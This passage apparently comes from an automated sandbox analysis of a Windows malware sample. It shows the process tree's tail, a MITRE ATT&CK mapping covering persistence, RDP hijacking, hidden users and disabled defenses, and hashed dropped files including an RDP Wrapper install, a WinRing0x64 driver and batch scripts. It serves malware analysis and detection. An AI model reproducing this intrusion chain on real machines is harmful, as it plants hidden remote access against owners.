                                                                                                                                                        3⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:2848
                                                                                                                                                  • C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                    C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                    1⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:2816
                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                    C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                    1⤵
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:2424
                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                    C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                    1⤵
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:3372
                                                                                                                                                  • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                                    1⤵
                                                                                                                                                      PID:5260
                                                                                                                                                    • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                                      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2848
                                                                                                                                                      • C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                                        C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                                        1⤵
                                                                                                                                                          PID:5316

                                                                                                                                                        Network

                                                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                                                              Reconnaissance

                                                                                                                                                              Resource Development

                                                                                                                                                              Initial Access

                                                                                                                                                              Execution

                                                                                                                                                              Command and Scripting Interpreter

                                                                                                                                                              1
                                                                                                                                                              T1059

                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                              1
                                                                                                                                                              T1053

                                                                                                                                                              Scheduled Task

                                                                                                                                                              1
                                                                                                                                                              T1053.005

                                                                                                                                                              System Services

                                                                                                                                                              1
                                                                                                                                                              T1569

                                                                                                                                                              Service Execution

                                                                                                                                                              1
                                                                                                                                                              T1569.002

                                                                                                                                                              Persistence

                                                                                                                                                              Account Manipulation

                                                                                                                                                              1
                                                                                                                                                              T1098

                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                              2
                                                                                                                                                              T1547

                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                              1
                                                                                                                                                              T1547.001

                                                                                                                                                              Winlogon Helper DLL

                                                                                                                                                              1
                                                                                                                                                              T1547.004

                                                                                                                                                              Create or Modify System Process

                                                                                                                                                              3
                                                                                                                                                              T1543

                                                                                                                                                              Windows Service

                                                                                                                                                              3
                                                                                                                                                              T1543.003

                                                                                                                                                              Event Triggered Execution

                                                                                                                                                              1
                                                                                                                                                              T1546

                                                                                                                                                              Netsh Helper DLL

                                                                                                                                                              1
                                                                                                                                                              T1546.007

                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                              1
                                                                                                                                                              T1053

                                                                                                                                                              Scheduled Task

                                                                                                                                                              1
                                                                                                                                                              T1053.005

                                                                                                                                                              Server Software Component

                                                                                                                                                              1
                                                                                                                                                              T1505

                                                                                                                                                              Terminal Services DLL

                                                                                                                                                              1
                                                                                                                                                              T1505.005

                                                                                                                                                              Privilege Escalation

                                                                                                                                                              Account Manipulation

                                                                                                                                                              1
                                                                                                                                                              T1098

                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                              2
                                                                                                                                                              T1547

                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                              1
                                                                                                                                                              T1547.001

                                                                                                                                                              Winlogon Helper DLL

                                                                                                                                                              1
                                                                                                                                                              T1547.004

                                                                                                                                                              Create or Modify System Process

                                                                                                                                                              3
                                                                                                                                                              T1543

                                                                                                                                                              Windows Service

                                                                                                                                                              3
                                                                                                                                                              T1543.003

                                                                                                                                                              Event Triggered Execution

                                                                                                                                                              1
                                                                                                                                                              T1546

                                                                                                                                                              Netsh Helper DLL

                                                                                                                                                              1
                                                                                                                                                              T1546.007

                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                              1
                                                                                                                                                              T1053

                                                                                                                                                              Scheduled Task

                                                                                                                                                              1
                                                                                                                                                              T1053.005

                                                                                                                                                              Defense Evasion

                                                                                                                                                              File and Directory Permissions Modification

                                                                                                                                                              1
                                                                                                                                                              T1222

                                                                                                                                                              Hide Artifacts

                                                                                                                                                              4
                                                                                                                                                              T1564

                                                                                                                                                              Hidden Files and Directories

                                                                                                                                                              3
                                                                                                                                                              T1564.001

                                                                                                                                                              Hidden Users

                                                                                                                                                              1
                                                                                                                                                              T1564.002

                                                                                                                                                              Impair Defenses

                                                                                                                                                              4
                                                                                                                                                              T1562

                                                                                                                                                              Disable or Modify System Firewall

                                                                                                                                                              1
                                                                                                                                                              T1562.004

                                                                                                                                                              Disable or Modify Tools

                                                                                                                                                              2
                                                                                                                                                              T1562.001

                                                                                                                                                              Modify Registry

                                                                                                                                                              5
                                                                                                                                                              T1112

                                                                                                                                                              Credential Access

                                                                                                                                                              Discovery

                                                                                                                                                              Password Policy Discovery

                                                                                                                                                              1
                                                                                                                                                              T1201

                                                                                                                                                              Permission Groups Discovery

                                                                                                                                                              1
                                                                                                                                                              T1069

                                                                                                                                                              Local Groups

                                                                                                                                                              1
                                                                                                                                                              T1069.001

                                                                                                                                                              Query Registry

                                                                                                                                                              2
                                                                                                                                                              T1012

                                                                                                                                                              System Information Discovery

                                                                                                                                                              4
                                                                                                                                                              T1082

                                                                                                                                                              System Location Discovery

                                                                                                                                                              1
                                                                                                                                                              T1614

                                                                                                                                                              System Language Discovery

                                                                                                                                                              1
                                                                                                                                                              T1614.001

                                                                                                                                                              Lateral Movement

                                                                                                                                                              Remote Service Session Hijacking

                                                                                                                                                              1
                                                                                                                                                              T1563

                                                                                                                                                              RDP Hijacking

                                                                                                                                                              1
                                                                                                                                                              T1563.002

                                                                                                                                                              Collection

                                                                                                                                                              Command and Control

                                                                                                                                                              Web Service

                                                                                                                                                              1
                                                                                                                                                              T1102

                                                                                                                                                              Exfiltration

                                                                                                                                                              Impact

                                                                                                                                                              Service Stop

                                                                                                                                                              1
                                                                                                                                                              T1489

                                                                                                                                                              Replay Monitor

                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                              Downloads

                                                                                                                                                              R8.exe
                                                                                                                                                              • Path C:\ProgramData\Microsoft\Intel\R8.exe
                                                                                                                                                              • Size 887KB
                                                                                                                                                              • SHA256 40d4931bbb3234a2e399e2e3e0dcfe4b7b05362c58d549569f2888d5b210ebbd
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              taskhost.exe
                                                                                                                                                              • Path C:\ProgramData\Microsoft\Intel\taskhost.exe
                                                                                                                                                              • Size 5.8MB
                                                                                                                                                              • SHA256 0e45de428064f864f467f000be38db66ee55d22ddc259d86a5f6a038088cabd1
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              wini.exe
                                                                                                                                                              • Path C:\ProgramData\Microsoft\Intel\wini.exe
                                                                                                                                                              • Size 3.3MB
                                                                                                                                                              • SHA256 69c6fb12071b3672e14c9187b3a9e9b9f59437f2fc3ffb1b2f7cc7f78b97455b
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              MicrosoftHost.exe
                                                                                                                                                              • Path C:\ProgramData\WindowsTask\MicrosoftHost.exe
                                                                                                                                                              • Size 2.5MB
                                                                                                                                                              • SHA256 2144c0d5d80613e66c393271c11c374afc57ae910d455bed661bb5cb04c1d2c5
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              WinRing0x64.sys
                                                                                                                                                              • Path C:\ProgramData\WindowsTask\WinRing0x64.sys
                                                                                                                                                              • Size 14KB
                                                                                                                                                              • SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              install.vbs
                                                                                                                                                              • Path C:\ProgramData\Windows\install.vbs
                                                                                                                                                              • Size 140B
                                                                                                                                                              • SHA256 cd8df8b0c43c36aabb0a960e4444b000a04eb513f0b34e12dbfd098944e40931
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              reg1.reg
                                                                                                                                                              • Path C:\ProgramData\Windows\reg1.reg
                                                                                                                                                              • Size 12KB
                                                                                                                                                              • SHA256 b2fd919e2acd61601c3341179a20ce1d0c2074e8907692dc83d55ba6c6b3eb3a
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              reg2.reg
                                                                                                                                                              • Path C:\ProgramData\Windows\reg2.reg
                                                                                                                                                              • Size 1KB
                                                                                                                                                              • SHA256 4ae04a85412ec3daa0fb33f21ed4eb3c4864c3668b95712be9ec36ef7658422a
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              rutserv.exe
                                                                                                                                                              • Path C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                              • Size 1.7MB
                                                                                                                                                              • SHA256 1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              vp8decoder.dll
                                                                                                                                                              • Path C:\ProgramData\Windows\vp8decoder.dll
                                                                                                                                                              • Size 155KB
                                                                                                                                                              • SHA256 4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              vp8encoder.dll
                                                                                                                                                              • Path C:\ProgramData\Windows\vp8encoder.dll
                                                                                                                                                              • Size 593KB
                                                                                                                                                              • SHA256 81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              winit.exe
                                                                                                                                                              • Path C:\ProgramData\Windows\winit.exe
                                                                                                                                                              • Size 1.1MB
                                                                                                                                                              • SHA256 8e292fcc70d679093cff331650389d357d85367d910d9ed6ea18722b7e7de370
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              cheat.exe
                                                                                                                                                              • Path C:\ProgramData\install\cheat.exe
                                                                                                                                                              • Size 6.3MB
                                                                                                                                                              • SHA256 cb18b89fdff97f6d3a7ec89456818163d21c24607b7b04cf513af0d03d804ac9
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              del.bat
                                                                                                                                                              • Path C:\Programdata\Install\del.bat
                                                                                                                                                              • Size 112B
                                                                                                                                                              • SHA256 c3a1bd76b8539fdf83b723f85b6ea7cd35104b0ec14429774059208d2660177d
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              taskhost.exe
                                                                                                                                                              • Path C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                                              • Size 1.7MB
                                                                                                                                                              • SHA256 5c4eaa5bce7f19f29013685899d8205245f4a5a7728e770458619510e661b145
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              taskhostw.exe
                                                                                                                                                              • Path C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                              • Size 2.9MB
                                                                                                                                                              • SHA256 ff0140dbaa83c7f64b2e86f43cb5f54584b31b371b6c984d8b214fe35eb8e493
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              install.bat
                                                                                                                                                              • Path C:\Programdata\Windows\install.bat
                                                                                                                                                              • Size 418B
                                                                                                                                                              • SHA256 e3db831cdb021d6221be26a36800844e9af13811bac9e4961ac21671dff9207a
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                              • Size 2KB
                                                                                                                                                              • SHA256 646fdfd1505dc1053e8919024064b0fc197fa010fe065d21e85beb508dced0d2
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                              • Size 1KB
                                                                                                                                                              • SHA256 2bc50e0aafeadd47fb1ea89e6ae73f4bc8427f5fe7b49cba1649b845e576ff6d
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                              • Size 488B
                                                                                                                                                              • SHA256 143134d5915f51bd18b8a56505139504d1c71856b32cf27a4cc6fc16b97fbde4
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                              • Size 482B
                                                                                                                                                              • SHA256 4cc2bca6c4a0e2b0e054a8d4b157da260b2a3d52ff24bdacbca0a8626b9b9cf5
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              autFEDD.tmp
                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\autFEDD.tmp
                                                                                                                                                              • Size 381KB
                                                                                                                                                              • SHA256 870ff02d42814457290c354229b78232458f282eb2ac999b90c7fcea98d16375
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              hosts
                                                                                                                                                              • Path C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                              • Size 1KB
                                                                                                                                                              • SHA256 5dcf36c0857340ec2508a37348b9359f4df7a8ad5fccf2777be3cfe71a563b6c
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              H.bat
                                                                                                                                                              • Path C:\programdata\microsoft\temp\H.bat
                                                                                                                                                              • Size 5KB
                                                                                                                                                              • SHA256 cbb4167540edebdb3ac764114da3a2d5173b6ae351789640b15fd79e0f80659e
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              RDPWInst.exe
                                                                                                                                                              • Path C:\rdp\RDPWInst.exe
                                                                                                                                                              • Size 1.4MB
                                                                                                                                                              • SHA256 ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              Rar.exe
                                                                                                                                                              • Path C:\rdp\Rar.exe
                                                                                                                                                              • Size 370KB
                                                                                                                                                              • SHA256 2356220cfa9159b463d762e2833f647a04fa58b4c627fcb4fb1773d199656ab8
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              bat.bat
                                                                                                                                                              • Path C:\rdp\bat.bat
                                                                                                                                                              • Size 1KB
                                                                                                                                                              • SHA256 238c063770f3f25a49873dbb5fb223bba6af56715286ed57a7473e2da26d6a92
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              db.rar
                                                                                                                                                              • Path C:\rdp\db.rar
                                                                                                                                                              • Size 443KB
                                                                                                                                                              • SHA256 534e0430f7e8883b352e7cba4fa666d2f574170915caa8601352d5285eee5432
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              install.vbs
                                                                                                                                                              • Path C:\rdp\install.vbs
                                                                                                                                                              • Size 80B
                                                                                                                                                              • SHA256 f797d95ce7ada9619afecde3417d0f09c271c150d0b982eaf0e4a098efb4c5ec
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              pause.bat
                                                                                                                                                              • Path C:\rdp\pause.bat
                                                                                                                                                              • Size 352B
                                                                                                                                                              • SHA256 46565c0588b170ae02573fde80ba9c0a2bfe3c6501237404d9bd105a2af01cba
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              run.vbs
                                                                                                                                                              • Path C:\rdp\run.vbs
                                                                                                                                                              • Size 84B
                                                                                                                                                              • SHA256 c7758bb2fdf207306a5b83c9916bfffcc5e85efe14c8f00d18e2b6639b9780fe
                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              rdpwrap.dll
                                                                                                                                                              • Path \??\c:\program files\rdp wrapper\rdpwrap.dll
                                                                                                                                                              • Size 114KB
                                                                                                                                                              • SHA256 798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              rdpwrap.ini
                                                                                                                                                              • Path \??\c:\program files\rdp wrapper\rdpwrap.ini
                                                                                                                                                              • Size 128KB
                                                                                                                                                              • SHA256 7d5655d5ec4defc2051aa5f582fac1031b142040c8eea840ff88887fe27b7668
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                              Submit Download

                                                                                                                                                              memory/700-96-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-100-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-167-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-126-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-175-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-94-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-95-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-93-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/700-97-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-129-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-119-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-149-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-115-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-116-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-118-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-117-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1484-114-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1900-52-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1900-60-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1900-49-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1900-50-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1900-51-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1900-53-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/1900-54-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-112-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-320-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-332-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-173-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-323-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-128-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-243-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-107-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-319-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-111-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-108-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-110-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3404-109-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3856-147-0x0000000000690000-0x000000000077C000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3856-177-0x0000000000690000-0x000000000077C000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3936-312-0x0000000000400000-0x000000000056F000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3972-66-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3972-67-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3972-63-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3972-65-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3972-62-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3972-64-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/3972-81-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-102-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-104-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-92-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-101-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-103-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-105-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-127-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/4136-131-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/5660-284-0x0000000000400000-0x000000000056F000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/5868-201-0x0000000000690000-0x000000000077C000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/5868-198-0x0000000000690000-0x000000000077C000-memory.dmp
                                                                                                                                                              Download

                                                                                                                                                              memory/6056-315-0x0000024313140000-0x0000024313154000-memory.dmp
                                                                                                                                                              Download